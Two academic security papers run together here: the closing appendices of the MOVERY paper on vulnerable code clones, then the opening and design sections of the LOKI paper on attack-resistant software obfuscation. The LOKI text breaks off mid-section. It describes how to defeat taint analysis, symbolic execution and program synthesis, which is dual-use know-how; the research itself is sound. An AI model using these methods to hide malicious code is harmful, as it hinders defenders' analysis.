rendering a safer software ecosystem.
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Figure 5: Types of code modifications in VCCs.

Appendix A Code modification types of VCCs

We analyzed 415 VCCs discovered by MOVERY to better
understand the types of code modifications. Figure 5 shows
the analysis results; note that a VCC may contain multiple
code modification types.

It is worth noting that the variable names and variable types
of the discovered VCCs are mostly different from disclosed
vulnerable functions. We confirmed that most of these cases
were caused by internal OSS modifications. Approaches using
the abstraction method such as MOVERY, VUDDY, and MVP
could address this type of code modification.

Moreover, we confirmed that the cases, in which code lines
of the disclosed vulnerable function were deleted or new code
lines were added, accounted for more than 80% of the discov-
ered VCCs. MOVERY, considering only the core lines of the
vulnerable code, could respond to this code modification, but
VUDDY, considering the syntax of the entire vulnerable func-
tion, hardly discovered VCC to which this code modification
was applied.

All code modification types should be considered in VCC
discovery. We confirmed that MOVERY’s extensible and min-
imized signature generation made this possible while other
existing approaches failed to handle some types of code mod-
ifications (as demonstrated in Section 5.1).

Out-of-bounds Read

Out-of-bounds Write
Improper Restriction of Operations 
within the Bounds of a Memory Buffer

Improper Input Validation

Integer Underflow

(a) Top 5 CWE distribution. (b) CVSS distribution.

Figure 6: CWE and CVSS distributions for the discovered VCCs
by MOVERY.

Appendix B Analysis for the discovered VCCs

In our experiments, MOVERY discovered 415 VCCs for ten
target software. We analyzed the vulnerability types (i.e.,
Common Weakness Enumeration, shortly CWE) and severity
(i.e., Common Vulnerability Scoring System, shortly CVSS)
for the discovered VCCs. Figure 6 depicts the analysis results.

First, we confirmed that the 415 discovered VCCs belonged
to 22 CWE groups; the distribution for the top five CWEs
is shown in Figure 6a. The most frequently appeared type
is “Out-of-bounds Read and Write” (53%); this vulnerabil-
ity can lead to remote code execution and therefore requires
extra attention. In addition, we confirmed that many vulnera-
bilities related to memory buffer (11%) and input validation
(7%) appeared; the top four CWEs groups belong to the most
dangerous vulnerability types in 2021 [5].

Next, we confirmed that most (84%) of the discovered
VCCs had a medium severity, as shown in Figure 6b. Note
that 15% of the propagated vulnerabilities had a high severity,
which could pose a more critical threat to the entire software;
it is noteworthy that the case study presented in Section 5.6 is
a high-severity vulnerability. Especially high-risk vulnerabili-
ties need to be discovered and patched more quickly, suggest-
ing that there is in dire need of a precise VCC discovery tool,
such as MOVERY.
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Abstract
Software obfuscation is a crucial technology to protect intel-
lectual property and manage digital rights within our society.
Despite its huge practical importance, both commercial and
academic state-of-the-art obfuscation methods are vulnera-
ble to a plethora of automated deobfuscation attacks, such
as symbolic execution, taint analysis, or program synthesis.
While several enhanced obfuscation techniques were recently
proposed to thwart taint analysis or symbolic execution, they
either impose a prohibitive runtime overhead or can be re-
moved in an automated way (e. g., via compiler optimizations).
In general, these techniques suffer from focusing on a single
attack vector, allowing an attacker to switch to other, more
effective techniques, such as program synthesis.

In this work, we present LOKI, an approach for software
obfuscation that is resilient against all known automated deob-
fuscation attacks. To this end, we use and efficiently combine
multiple techniques, including a generic approach to syn-
thesize formally verified expressions of arbitrary complexity.
Contrary to state-of-the-art approaches that rely on a few hard-
coded generation rules, our expressions are more diverse and
harder to pattern match against. We show that even the state-
of-the-art approach on Mixed-Boolean Arithmetic (MBA)
deobfuscation fails to simplify them. Moreover, LOKI pro-
tects against previously unaccounted attack vectors such as
program synthesis, for which it reduces the success rate to
merely 19%. In a comprehensive evaluation, we show that
our design incurs significantly less overhead while providing
a much stronger protection level compared to existing works.

1 Introduction
Obfuscation describes the process of applying transformations
to a given program with the goal of protecting the code from
prying eyes. Generally speaking, obfuscation works by taking
(parts of) a program and transforming it into a more complex,
less intelligible representation, while at the same time pre-
serving its observable input-output behavior [19]. Usually,

such transformations come at the cost of increased program
runtime and size, thus trading intelligibility for overhead. Al-
though formal verification of code transformations is hard
to achieve in practice [49, 85], obfuscation is used in a wide
range of real-world scenarios. Examples include protection of
intellectual property (IP), digital rights management (DRM),
and concealment of malicious behavior in software. Generally
speaking, obfuscation protects critical (often small) code parts
against reverse engineering and, thus, misuse by competitors
or other parties. For example, most contemporary DRM sys-
tems rely on some kind of obfuscation to prevent attackers
from distributing unauthorized copies of their product [53].
License checks and cryptographic authentication schemes are
examples for code that is commonly obfuscated in practice
to prevent analysis. Most copy-protection schemes used by
games use some kind of obfuscation to prevent unauthorized
copies. As another example, market-leading companies, such
as Snapchat, obfuscate how API calls to their backend are
constructed, preventing abuse and access by competitors [28].

Among the countless obfuscation methods proposed in the
literature [1,8,14,19,31,35,40,50,54,56,67,74,77,80,81,87],
one of the most promising techniques is Virtual Machine
(VM)-based obfuscation [31,58]. State-of-the-art, commercial
obfuscators such as THEMIDA [55] and VMPROTECT [73],
as well as most game copy-protection schemes used in prac-
tice [26, 66], make extensive use of VM-based obfuscation.
They transform the to-be-protected code from its original
Instruction Set Architecture (ISA) into a custom one, and
bundle an interpreter with the program that emulates the new
ISA. This effectively breaks any analysis tool unfamiliar with
the new architecture. Attackers aiming to deobfuscate code
affected by this scheme must first uncover the custom ISA be-
fore they can reconstruct the original code [58, 64]. Since the
custom instruction sets are conceptually simple, VM-based
obfuscation software usually applies additional obfuscating
transformations to the interpreter such that it is harder to ana-
lyze. For example, dead code insertion or constant unfolding
are often used. At their core, these transformations inflate the
number of executed instructions and mainly add to the code’s
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syntactic complexity, but can be successful in thwarting man-
ual attacks.

However, it is often sufficient to apply well-known com-
piler optimizations, such as dead code elimination, constant
folding, or constant propagation, to reduce the code’s syn-
tactic complexity and enable subsequent analyses [34, 84].
We tested this hypothesis and observe that this applies to the
state-of-the-art tools THEMIDA and VMPROTECT, for both
their fastest and strongest protection configurations: We found
that a simple dead code elimination manages to reduce the
number of assembly instructions per handler by at least 50%
for five different targets, tremendously simplifying both man-
ual and automated analyses (cf. Table 1). Subsequently, the
resulting code can be further simplified using a wide range
of automated techniques, including taint analysis [82, 84],
symbolic execution [83, 84], program synthesis [7, 25], and
various others [5, 6, 21, 29, 30, 34, 36, 42, 47, 58, 59, 64].

The reliance on syntactic complexity in state-of-the-art ob-
fuscation schemes and the broad arsenal of advanced deobfus-
cation techniques sparked further research in the construction
of more resilient schemes that aim to impede these automated
analyses. Proposals were made to hinder taint analysis [10,60]
and render symbolic execution ineffective [1, 54, 80, 87]. For
example, the latter can be achieved by triggering a path explo-
sion for the symbolic execution engine by artificially increas-
ing the number of paths to analyze. Other promising obfusca-
tion schemes emerged, including Mixed Boolean-Arithmetic
(MBA) expressions [2, 29, 87] that offer a model to encode
arbitrary arithmetic formulas in a complex manner. The ex-
pressions are represented in a domain that does not easily lend
itself to simplification, effectively hiding the actual semantic
operations. Usually, automated approaches to deobfuscate
MBAs are based on symbolic simplification [6, 29, 30, 36];
they rely on certain assumptions about the expression’s struc-
ture, making them unfit to simplify such expressions in the
general case. Other approaches are based on program synthe-
sis [7, 25, 51], which have been proven highly effective for
most tasks. In general, synthesis-based deobfuscation tech-
niques remain unchallenged to date and are valuable methods
for automated analysis of obfuscated code. Recent works
aiming at simplifying MBA turned towards machine learn-
ing [32] and algebraic simplification [48]. Especially the latter
approach, relying on a hidden two-way feature between 1-bit
and n-bit variables used within MBAs, provides an automated
attacker with unprecedented MBA deobfuscation capabilities.

In this paper, we introduce a novel and comprehensive set of
obfuscation techniques that can be combined to protect code
against all known automated deobfuscation attacks, while
imposing only reasonable overhead in terms of space and
runtime. Our techniques are specifically designed such that a
human analyst gains no significant advantage from employ-
ing automated deobfuscation techniques, including compiler
optimizations (cf. Table 1), forward taint analysis, symbolic
execution, and even program synthesis (cf. Section 6). We

explicitly assume scenarios where these techniques are specif-
ically tailored to our design (white-box scenario).

To achieve such protection, we propose a generic algorithm
to synthesize formally verified, arbitrarily complex MBA ex-
pressions. This is in strong contrast to state-of-the-art ap-
proaches that rely on a few handwritten rules, greatly limiting
their effectiveness. For example, given 7,000 VM handlers,
TIGRESS—the state-of-the-art academic obfuscator—uses
only 16 unique MBAs, while our design features ~5,500
unique MBAs. As a result, our MBAs are highly unlikely
to be simplified: In fact, current state-of-the-art MBA deob-
fuscation tools such as MBA-BLAST [48] can only simplify
0.5% of LOKI’s MBAs. Furthermore, we conduct the first
conclusive analysis of the limits of program synthesis with
regard to deobfuscation. Based on the resulting insights, we
present a hardening technique capable of impeding program
synthesis, reducing its success rate to 19%—for TIGRESS, it
is 67%. In summary, we present a new design featuring both
high diversity and resilience against static and dynamic, au-
tomated deobfuscation attacks. While providing more value,
our design incurs significantly less overhead compared to
commercial, state-of-the-art obfuscation schemes (up to 40
times). Moreover, we port modern testing techniques, i. e.,
formal verification and fuzzing, to our design and show that
complex combinations of obfuscation transformations benefit
from such methods to assert the correctness of complex and
non-deterministic obfuscation transformations.

Contributions. We make the following contributions:

• We present the design, implementation, and evaluation of
LOKI, a software obfuscation approach resilient against
all known automated deobfuscation attacks, even in
white-box scenarios.

• We introduce a generic approach to synthesize diverse
and formally verified Mixed Boolean-Arithmetic (MBA)
expressions of arbitrary complexity that withstand even
current state-of-the-art deobfuscation attacks.

• We are the first to propose an approach resilient against
program synthesis-based attacks and map out limits of
program synthesis in an empirical evaluation.

We publish the source code of LOKI as well as all evalua-
tion artifacts (including test cases, binaries, and evaluation
tooling) at https://github.com/RUB-Syssec/loki. An ex-
tended version of this paper with more technical details is
available as a technical report [62].

2 Technical Background
We start by providing an overview of the required technical
information on obfuscation and deobfuscation techniques.
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Table 1: VM handler statistics for THEMIDA, VMPROTECT, and our approach called LOKI. The two commercial obfuscators are configured in their fastest
(Virtualization and Tiger White) and strongest configuration (Ultra and Dolphin Black), but without additional security features (e. g., anti-debug). We track their
handlers’ average number of assembly and intermediate language (IL) instructions before and after dead code elimination (denoted as the percentage-wise
reduction in parentheses). All values are averaged over five cryptographic algorithms (AES, DES, MD5, RC4, and SHA-1).

VMPROTECT THEMIDA LOKI
Statistics Virtualization Ultra Tiger White Dolphin Black

Assembly instructions 69 (−50.79%) 73 (−51.58%) 219 (−53.68%) 243 (−56.01%) 222 (−1.14%)
IL instructions 75 (−50.88%) 80 (−51.89%) 221 (−53.76%) 247 (−55.94%) 234 (−1.44%)

Handlers executed 46,591 151,303 83,191 290,815 4,123
. . . of them unique 274 4,578 204 337 55

2.1 VM-based Obfuscation
Virtual machine-based obfuscation, also known as virtual-
ization, protects code by translating it into an intermediate
representation called bytecode. This bytecode is interpreted
by a CPU implemented in software, adhering to a custom in-
struction set architecture (ISA). An attacker must first reverse
engineer this software CPU, a tedious and time-consuming
task [58, 64]. Only after understanding the VM, they can re-
construct the original high-level code.

VM Interpreter. The original, unprotected code is replaced
with a call to the VM entry that invokes the interpreter. It sets
up the initial context of the VM and points it to the bytecode
that is to be interpreted. This is implemented by the VM
dispatcher using a fetch-decode-execute loop: first, it fetches
the next instruction, decodes its opcode, and then transfers
execution to the respective VM handler. Often, the handler is
determined via a global handler table that is indexed by the
opcode. After handler execution, the control flow returns to
the VM dispatcher. Eventually, execution finishes by invoking
a special VM exit handler aborting the loop.

Abstraction of Handler Semantics. Handlers are often
semantically simple [7, 58]; they perform a single arithmetic
or logical operation on a number of operands, e. g., x⊙ y. We
call the semantic function of a handler, i. e., the underlying
instruction it implements, its core semantics. We can repre-
sent core semantics as a function f (x,y), or more general
as f (x,y,c) where c is a constant. To measure the syntactic
complexity of the core semantics, we compute the (syntactic)
expression depth of f as the sum of all variable occurrences
and operators. In contrast, the semantic depth refers to the
syntactic depth of the syntactically shortest equivalent expres-
sion. Intuitively, it can be understood as the number of nodes
in an Abstract Syntax Tree (AST).
Example 1: We can represent a VM handler’s core semantics
x+ y as f (x,y,c) := x+ y with a syntactic depth of 3. A syn-
tactically more complex function g(x,y,c) := x+y−x+c−c
has a syntactic depth of 9 but a semantic depth of 1, since g
can be simplified to g(x,y,c) := y.

Superoperators. Superoperators [57] are an approach to
make handlers semantically more complex. Intuitively, this is
achieved by combining different instruction sequences from
the unprotected code into a single VM handler. Usually, these
sequences compute independent results such that this VM “su-

perhandler” computes multiple, independent VM handlers in a
single step. As a consequence, superoperators often have mul-
tiple input and output tuples. Related to our function abstrac-
tion, we can say the function fs((x0,y0,c0), . . . ,(xn,yn,cn))
computes an output tuple (o0, . . . ,on), where xi, yi, ci and oi
represent the core semantics’ inputs/output of a semantically
simple VM handler. While originally developed to minimize
the number of handlers executed to improve performance, su-
peroperators have been used by obfuscators such as TIGRESS
primarily for obtaining more complex VM handlers.

2.2 Mixed Boolean-Arithmetic
Mixed Boolean-Arithmetic (MBA) describes an approach to
encode expressions in a syntactically complex manner. The
goal is to hide underlying semantics in syntactically complex
constructs. First described by Zhou et al. [87], MBA algebra
connects arithmetic operations (e. g., addition) with bitwise
operations (e. g., logical operations or bitshifts). The resulting
expressions are usually hard to simplify symbolically [29,78],
since, for every expression, an infinite number of syntactic
representations exists. In general, the task of reducing MBA
expressions—known as arithmetic encodings [1]—to equiva-
lent but simpler expressions is NP-hard [87].
Example 2: f (x,y,c) := x+ y and g(x,y,c) := (x⊕ y)+ 2 ·
(x∧ y) are semantically equivalent. Both implement the same
core semantics, but g uses a syntactically more complex rep-
resentation, called MBA.

3 Automated Deobfuscation Attacks

In the following, we detail common techniques used to
analyze obfuscated code.

Forward Taint Analysis. Forward taint analysis follows
the data flow of so-called taint sources, e. g., input variables,
and marks all instructions as tainted that directly or indirectly
depend on these sources [63,64,82,84]. Taint analyses are im-
plemented with varying granularity, referring to the smallest
unit they can taint. Common approaches use either bit-level or
byte-level granularity. Forward taint analysis can be used to
reduce obfuscated code to the instructions depending on user
input. The underlying idea is that important semantics rely
only on the identified taint sources. All other code constructs,
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1 mov edx, eax ; edx1 := eax1
2 mov ecx, 0x20 ; ecx1 := 0x20
3 add edx, ecx ; edx2 := edx1 + ecx1
4 add edx, 0x10 ; edx3 := edx2 + 0x10

Figure 1: An assembly code snippet used to illustrate forward taint analysis,
backward slicing, and symbolic execution.

e. g., as added by an obfuscator, can be omitted in an auto-
mated matter. Still, if these constructs perform calculations
on the user input, taint analysis can be mislead [10, 60].
Example 3: In Figure 1, assume eax is a taint source. The
analysis taints the first, third, and fourth instruction since
they propagate a taint source. It does not taint the second
instruction. While its value is later used in tainted instructions,
it does not directly depend on eax.

Backward Slicing. Contrary to forward taint analysis,
backward slicing is a backward analysis. Starting from some
output variable, it recursively backtracks and marks all input
variables on which the output depends [24, 75, 84]. In code
deobfuscation, slicing can be used to find all instructions that
contribute to the output. Applied to VM handlers, it allows to
strip all code not directly related to a handler’s core seman-
tics. Similar to forward taint analysis, increasing the number
of dependencies (e. g., by inserting junk calculations to the
output) reduces the usefulness of slicing.
Example 4: When backtracking the value of edx (line 4 in
Figure 1) by following each use and definition, each instruc-
tion is marked as they all contribute to the output.

Symbolic Execution. Symbolic execution allows to sum-
marize assembly code algebraically. Instead of using concrete
values, it tracks symbolic assignments of registers and mem-
ory in a state map [63]. Often, it works on a verbose represen-
tation of code, called intermediate language (IL). Symbolic
executors usually know common arithmetic identities and
can perform basic simplification, e. g., constant propagation.
Applied to code obfuscation, symbolic execution is used to
symbolically extract the core semantics of VM handlers [47],
track user input in an execution trace [59, 83, 84], or detect
opaque predicates (in combination with SMT solvers) [5].
Typically, techniques to impede symbolic execution aim at
artificially increasing the syntactic complexity of arithmetic
operations (via MBAs) or the number of paths to analyze
(triggering a so-called path explosion) [1, 54].
Example 5: After symbolic execution of Figure 1, we obtain
the following mappings: eax maps to itself (it has not been
modified), ecx maps to 0x20 (line 2). The formula for edx is
eax+0x20+0x10. Using arithmetic identities, the symbolic
execution engine can simplify the expression to eax+0x30.

Program Synthesis. In contrast to other techniques that
rely on syntactic analysis of obfuscated code, program syn-
thesis-based approaches operate on the semantic level. They
treat code as a black box and attempt to reconstruct the origi-
nal code based on the observable behavior, often represented
in the form of input-output samples. Approaches such as

SYNTIA [7] and XYNTIA [51] attempt to find an expres-
sion with equivalent behavior by relying on a stochastic al-
gorithm traversing a large search space. Other approaches,
e. g., QSYNTH [25], are based on enumerative synthesis: they
compute large lookup tables of expressions which they use
to simplify parts of an expression, reducing its overall com-
plexity. For code deobfuscation, these approaches are used to
simplify syntactically complex constructs (e. g., MBAs) or to
learn semantics of VM handlers. However, program synthesis
struggles with finding semantically complex expressions.
Example 6: Consider the function f (x,y,c) := (x⊕ y)+2 ·
(x∧ y). To learn f ’s core semantics, we generate random
inputs and observe f (2,2,2) = 4, f (10,13,10) = 23, and
f (16,3,0) = 19. A synthesizer eventually produces a function
g(x,y,c) := x+ y that has the same input-output behavior.
Notably, it learns that parameter c is irrelevant.

Ideally, superoperators provide such expressions. However,
our experiments (cf. Section 6.3) demonstrate that current
designs (e. g., as used by TIGRESS) are still vulnerable; since
superoperators combine different core semantics (represented
as individual inputs/output tuples), an attacker can synthesize
each core semantics separately by targeting each output oi.

Semantic Codebook Checks. A semantic codebook con-
tains a list of expressions that an attacker expects to exist
within obfuscated code. For a syntactically complex expres-
sion f , an attacker checks if f is semantically equivalent to
an expression g in the codebook by using an SMT solver [69].
If the SMT solver cannot find an input distinguishing f and
g, it formally proved they behave the same for all possible
inputs. A typical application scenario are VM handlers: They
often implement a simple core semantics (e. g., x+ y) [7, 58].
Thus, an attacker can construct a codebook based on simple
arithmetic and logical operations. As codebooks must contain
the respective semantics, increasing the semantic complexity
of expressions requires an (exponentially) larger codebook,
making the approach infeasible for a practical application.
Example 7: Consider a function f (x,y,c) := (x⊕y)+2 ·(x∧
y) and a codebook CB := {x− y,x · y,x+ y, . . .}. An attacker
can consecutively pick an entry g(x,y,c) ∈ CB and verify
whether f = g using an SMT solver. To this end, the solver
searches an assignment that satisfies f (x,y,c) ̸= g(x,y,c).
Only for g(x,y,c) := x+ y no solution can be found. Thus,
the attacker proved that f can be reduced to a syntactically
shorter expression, x+ y.

4 Design
We envision a combination of obfuscation techniques where
the individual techniques harmonize and complement each
other to thwart automated deobfuscation attacks. In line with
this philosophy, we now present a set of generic techniques
where each constitutes a defense in a particular domain. How-
ever, when these techniques are effectively combined, they
exhibit comprehensive protection against automated attacks.
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To achieve lasting resilience, we focus on inherent weak-
nesses underlying existing automated attack methods, instead
of targeting specific shortcomings of a given implementation.
We further underline our techniques’ generic nature by dis-
cussing their application on an abstract function f (x,y,c) as
introduced in Section 2.1. Next, we first discuss the design
principles of our approach, present the attacker model, and
afterwards explain the individual techniques in detail.

4.1 Design Principles
We have seen outlined automated attack methods can succeed
in extracting a function f ’s core semantics (cf. Section 3). To
mitigate these attacks, our design is based on three principles:
(1) merging core semantics, (2) adding syntactic complexity,
and (3) adding semantic complexity. In the following, we
present techniques incorporating these principles and discuss
their purpose as well as synergy effects emerging for our
overall design.

Merging Core Semantics. Our first technique extends f by
merging different, independent core semantics to increase the
complexity. This can be understood as combining different,
independent VM handlers in a single handler, or—in a more
generic setting—combining different semantic operations of
an unprotected unit of code in a single function f . The merge
is facilitated in such a way that each core semantics is al-
ways executed. Still, as these semantics are independent of
each other, we must ensure they are individually addressable,
i. e., f ’s output is equivalent to the result of a specific core
semantics. To allow the selection of the desired semantics, we
extend the function definition to f (x,y,c,k), where k is a key
selecting the targeted core semantics. Formally, the selection
is realized by introducing a point function ei(k), called key
encoding, that is associated with a specific core semantics and
returns 1 only for its associated key, 0 for other valid keys.
This guarantees that the original semantics are preserved. A
consequence of this interlocked, “always-execute” nature is
that taint analysis and backward slicing fail to remove all
semantics in f not associated with a specific k.
Example 8: We want to design a function f that returns,
based on a distinguishing key, either x+ y or x− y. We write
this as f (x,y,c,k) := e0(k)(x+ y)+ e1(k)(x− y) where ei(k)
can be any point function returning 1 for the associated k and
0 otherwise, for example e0(k) := k == 0xdead. Assuming
that e0(k) returns 1 and e1(k) yields 0, f returns x+ y.

Adding Syntactic Complexity. Assuming merged seman-
tics using different key encodings, an attacker can still dif-
ferentiate between key encoding and core semantics for a
given function f , as ei(k) operates only on the key while the
core semantics use x, y, and c. At the same time, a dynamic
attacker with knowledge of k can employ symbolic execution
to simplify f to the core semantics associated with the known
k by arithmetically nullifying operations not contributing to
the result. To prevent such an attack, we increase the syntac-

tic complexity by adding Mixed Boolean-Arithmetic (MBA)
formulas to key encodings as well as core semantics.

Symbolically executing these syntactically complex formu-
las creates no meaningful expressions. Even though modern
symbolic execution engines feature simplification rules for
basic arithmetic identities and laws, there exists an unlimited
number of MBA representations. In general, simplifying such
an expression to its syntactically smallest representative is
NP-hard [87].
Example 9: For f (x,y,c,k) := e0(k)(x+ y)+ e1(k)(x− y),
we can replace x + y with (x⊕ y) + 2 · (x∧ y), x− y with
x+¬y+1, and replace the multiplication of e1(k)(x−y) with
the rule (a∧b) ·(a∨b)+(a∧¬b) ·(¬a∧b) for a ·b, resulting
in the final function f (x,y,c,k) := e0(k)((x⊕y)+2 ·(x∧y))+
(e1(k)∧(x+¬y+1)) ·(e1(k)∨(x+¬y+1))+(e1(k)∧¬(x+
¬y+1)) · (¬e1(k)∧ (x+¬y+1)).

To exploit this weakness of symbolic execution and provide
a high diversity, we synthesize and formally verify MBAs in-
stead of using hardcoded rules. This additionally complicates
pattern matching and increases the number of instructions
marked by forward taint analysis and backward slicing.

Adding Semantic Complexity. One of the remaining prob-
lems are semantic attacks, for example, a dynamic attacker
that uses input-output behavior to learn an expression equiva-
lent to the core semantics (e. g., via program synthesis). There-
fore, we increase the core semantics’ complexity by applying
the concept of superoperators (cf. Section 2.1). These super-
operators make core semantics arbitrarily long and increase
the search space for semantic attacks drastically.
Example 10: Instead of using core semantics of depth 3
(e. g., x+ y), we apply more advanced core semantics such as
(x+ y) · (x⊕ y)) with depth 7 or ((x · c)≪ (y∨ (x⊕ c))) with
depth 9, resulting in f (x,y,c,k) := e0(k)((x+ y) · (x⊕ y))+
e1(k)((x · c)≪ (y |(x⊕ c))).

While superoperators increase the semantic and syntactic
complexity of core semantics, we further extend their syn-
tactic complexity using MBAs. Their synergy additionally
diminishes the effect of automated attacks.

4.2 Attacker Model
Intuitively, we envision a strong attacker to measure how our
obfuscation scheme fares under worst-case conditions. For
this purpose, we assume that an attacker has access to all
automated attacks (cf. Section 3).

We assume an attacker has access to the target binary that
includes at least one well-defined unit of obfuscated code at a
known location. In line with our previous abstraction, we say
this code unit can be represented by a function f (x,y,c,k).
The attacker’s goal is to reconstruct the core semantics of f
associated with a specific k. We require the reconstructed se-
mantics to (1) contain only the core semantics associated with
the specified k and (2) be comparable to the original code’s
semantics in terms of syntactic complexity. The intuition be-
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hind these constraints is to exclude trivial solutions such as
providing the unmodified function f itself (which contains,
amongst others, the core semantics for the required k).

Further, we assume two types of attackers, a static and a
dynamic one. The static attacker knows the precise code lo-
cations of x, y, c, and k as well as the location of function
f ’s output. As a result, they can enrich static analyses, e. g.,
by defining these code locations as taint sources. A dynamic
attacker extends the former by the ability to inspect and mod-
ify the values at these code locations. In particular, they can
observe any key k and propagate it to remove core semantics
not associated with this k. While a dynamic attacker is more
powerful (in terms of accessible information), certain analysis
scenarios such as code running on specific hardware (e. g.,
embedded devices), analysis on function-level without con-
text, or the presence of techniques like anti-debugging [12,13]
may rule out dynamic analysis in practice.

4.3 Key Selection Diversification
We want to prevent static attackers from learning the core
semantics via semantic codebook checks and prevent identifi-
cation of patterns in the key selection. To do so, we employ
two different key encoding schemes: Key selection based on
(1) the factorization problem, and (2) synthesized partial point
functions. To conduct a semantic codebook check, an attacker
uses an SMT solver to check for each entry of the codebook
whether it is semantically equivalent to f . Assuming that f
indeed includes a matching core semantics, the SMT solver
has to find a value for k such that the corresponding ei(k)
evaluates to 1. One way to prevent this is to design a key
encoding that relies on inherently hard problems for the SMT
solver, such as factorization.

Factorization-based Key Encoding. Factorization of a
semiprime n (the product of two primes, p and q) is an inher-
ently hard problem as long as the size of the factors are large
enough (commonly, a few thousand bits). SMT solvers prune
the search space by learning partial solutions for a given prob-
lem [45], but since no partial solutions exist for factorization,
they are forced to perform an exhaustive search.

We define our factorization-based key encoding as ei(k) :=
(n mod k) ≡ 0 where k is a valid 32-bit integer represent-
ing one of the two factors (k ̸∈ {1,n}). As our evaluation
shows, this encoding suffices to stall SMT solvers. However,
its distinct structure makes pattern matching attempts easy. To
increase diversity, we use MBAs and a second key encoding.

Partial Point Functions. Instead of restraining our set of
key encodings to a specific type, we synthesize generic point
functions without any predefined structure. This is based on
the insight that the ei(k) impose only a single constraint: they
must be defined for all valid keys (returning 1 for their asso-
ciated one, 0 for others). Invalid keys may return arbitrary
values, making our synthesized functions partial point func-
tions. Consequently, we are not restricted to specific point

functions, such as the factorization-based encoding, but can
use arbitrary point functions fulfilling this constraint.

Given a grammar containing ten different arithmetic and
logical operations (such as addition, multiplication, and logi-
cal and bitwise operations), we generate expressions by chain-
ing a randomly selected operation with random operands. This
operand is either an arbitrary key byte or a random 64-bit con-
stant. We chain at most 15 operations to limit the overhead
resulting from this expression. Finally, we check if the syn-
thesized expression satisfies the point function’s constraint.

Example 11: Let (k0,k1,k2) := (0x1336, 0xabcd, 0x11cd)
be a set of keys. Then, we synthesize the point function
e0(k) := ((0xff∧ k)⊕0xcd) ·0x28cbfbeb9a020a33 for a 64-
bit vector k. e0(k) evaluates to 1 for k0 and to 0 for k1 and k2.
For all other keys, it returns arbitrary values.

4.4 Syntactic Complexity: MBA Synthesis
To thwart symbolic execution and pattern matching, we use
MBAs for all components, including core semantics and key
encodings. As hardcoded rules only provide low diversity,
we precompute large classes of semantically equivalent arith-
metic expressions and combine them through recursive, ran-
domized expression rewriting. We now detail the creation of
the equivalence classes and discuss our term rewriting.

Equivalence Class Synthesis. To create semantic equiva-
lence classes for expressions, we rely on enumerative program
synthesis [4, 37]. To this end, we first define a context-free
grammar with a single non-terminal symbol S as start symbol
and two terminal symbols, x and y, representing variables. For
each arithmetic operation, we define a production rule that
maps the non-terminal symbol to arithmetic operations (e. g.,
addition) or terminal symbols. To apply a specified production
rule to a non-terminal expression, we replace the left-most S
with the rule. Expressions without a non-terminal symbol can
be evaluated by assigning concrete values to x and y. We say
that the depth of an expression represents the number of times
a non-terminal symbol was replaced by a production rule.
Example 12: The grammar ({S},Σ = V ∪O,P,S) with the
variables V = {x,y}, the set of arithmetic symbols O =
{+,−} and the production rules P = {S → x | y | (S +
S) | (S − S)} defines the syntax of how to generate termi-
nal expressions. To derive the expression x+ y of depth 3, we
apply the following rules: S→ (S+S)→ (x+S)→ (x+ y).
With a mapping of {x 7→ 2,y 7→ 6}, we can evaluate the ter-
minal expression to 8.

We now describe how we use our context-free grammar
in combination with Algorithm 1, which illustrates the high-
level approach of equivalence class synthesis. Starting with
a worklist of non-terminal states (initialized with the start
symbol S), we iteratively process all expressions for a cer-
tain depth until we reach a specified upper bound depth N.
For a given depth, we derive all terminal and non-terminal
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Algorithm 1: Computing equivalence classes.
Data: n is the maximum depth.

1 states← {S}
2 for d← 1 to n do
3 terminals← derive_terminals(states)
4 process_terminals(terminals)
5 non_terminals← derive_non_terminals(states)
6 states← non_terminals

expressions (also referred to as states) before processing the
terminals and then repeating the process for the next depth.
The call to process_terminals is responsible for sorting the
expressions into the respective equivalence classes. To this
end, we evaluate all expressions for a high number of different
inputs (e. g., 1,000), recording their output. Expressions with
the same output behavior for all provided inputs are sorted
into the same equivalence class. This provides an effective
but coarse-grained sorting of expressions into potential equiv-
alence classes. In a final step, we verify that these classes are
semantically correct. For this, we choose the member with the
smallest depth as representative and check with an SMT solver
that all other members are semantically equivalent to this rep-
resentative. Expressions failing this check are removed from
the equivalence class. All remaining expressions are formally
proven to not alter the original semantics.

To prune the search space and avoid trivial expressions
(e. g., x+0), we symbolically simplify each terminal and non-
terminal expression. For this purpose, we apply a normaliza-
tion step to commutative operators, perform constant propa-
gation, and simplify based on common arithmetic identities
(e. g., x+ y− y becomes x).

Expression Rewriting. So far, we generated a large set
of diverse equivalence classes we can use for replacing syn-
tactically simple expressions with more complex ones. A
naive approach replacing expressions with MBAs from the
equivalence classes is bounded by the largest depth found in
the respective class. To overcome this limitation, we propose
a recursive expression rewriting approach using the equiv-
alence classes as building blocks. This allows us to create
expressions of arbitrary syntactical depth. Even assuming an
attacker is in possession of all rewriting rules, it is difficult
to invert an expression: Term rewriting is inherently destruc-
tive [76]. Without knowing the applied rewriting rules and
their order, an attacker has to check all possibilities: n rewrit-
ing rules applied over m layers, resulting in the prohibitively
large number of nm candidates.

Given some expression e, we pick a random subexpression
and check if it is a member of an equivalence class. If it is, we
randomly choose another member from this class and use it
to replace the picked subexpression within e. We recursively
repeat this process for a randomly determined upper bound
n. As all members within an equivalence class are proven
to be pairwise equivalent, each replacement is guaranteed

to produce an equivalent expression. Consequently, the final
expression is provably equivalent to the first.
Example 13: Assume that we want to increase the syntactic
complexity of e := (x+ y)+ z with the upper bound n = 2.
First, we randomly choose the subexpression x+ y. We then
pick another member of the same equivalence class—(x⊕
y)+ 2 · (x∧ y)—and replace it in e. In this case, we obtain
e := ((x⊕ y)+ 2 · (x∧ y))+ z. In a second step, we choose
x⊕y, pick the semantically equivalent member (x∨y)−(x∧y)
and replace it again. The final MBA-obfuscated expression is
e := (((x∨ y)− (x∧ y))+2 · (x∧ y))+ z.

Empirical testing showed that for an initial expression the
randomly picked subexpressions would often be short, caus-
ing the resulting recursive rewriting to be very local in nature
rather than considering all of the expression. The previous ex-
ample illustrates this behavior. Considering the expression as
an abstract syntax tree (AST), we twice replaced deeper parts
of the AST while ignoring the top-level operation (addition
with z). Consequently, subsequent iterations would be even
less likely to pick the high-level operation, considering the
wealth of other operations to pick from. Therefore, the AST
would be significantly unbalanced. To avoid this, we prefer
selecting top-level operations in the first loop iterations.

4.5 Semantic Complexity: Superoperators
Up to this point, f ’s core semantics have a rather low semantic
complexity (e. g., x+ y). To thwart semantic attacks, we use
a variation of superoperators that increase the semantic com-
plexity. The intention is to significantly increase the search
space for an attacker: For example, assume a set of three vari-
ables V and a set of six binary operations O: For semantic
depth 3 (e. g., x+ y), an expression contains m = 2 variables
and n = 1 operations, such that an attacker has to brute-force
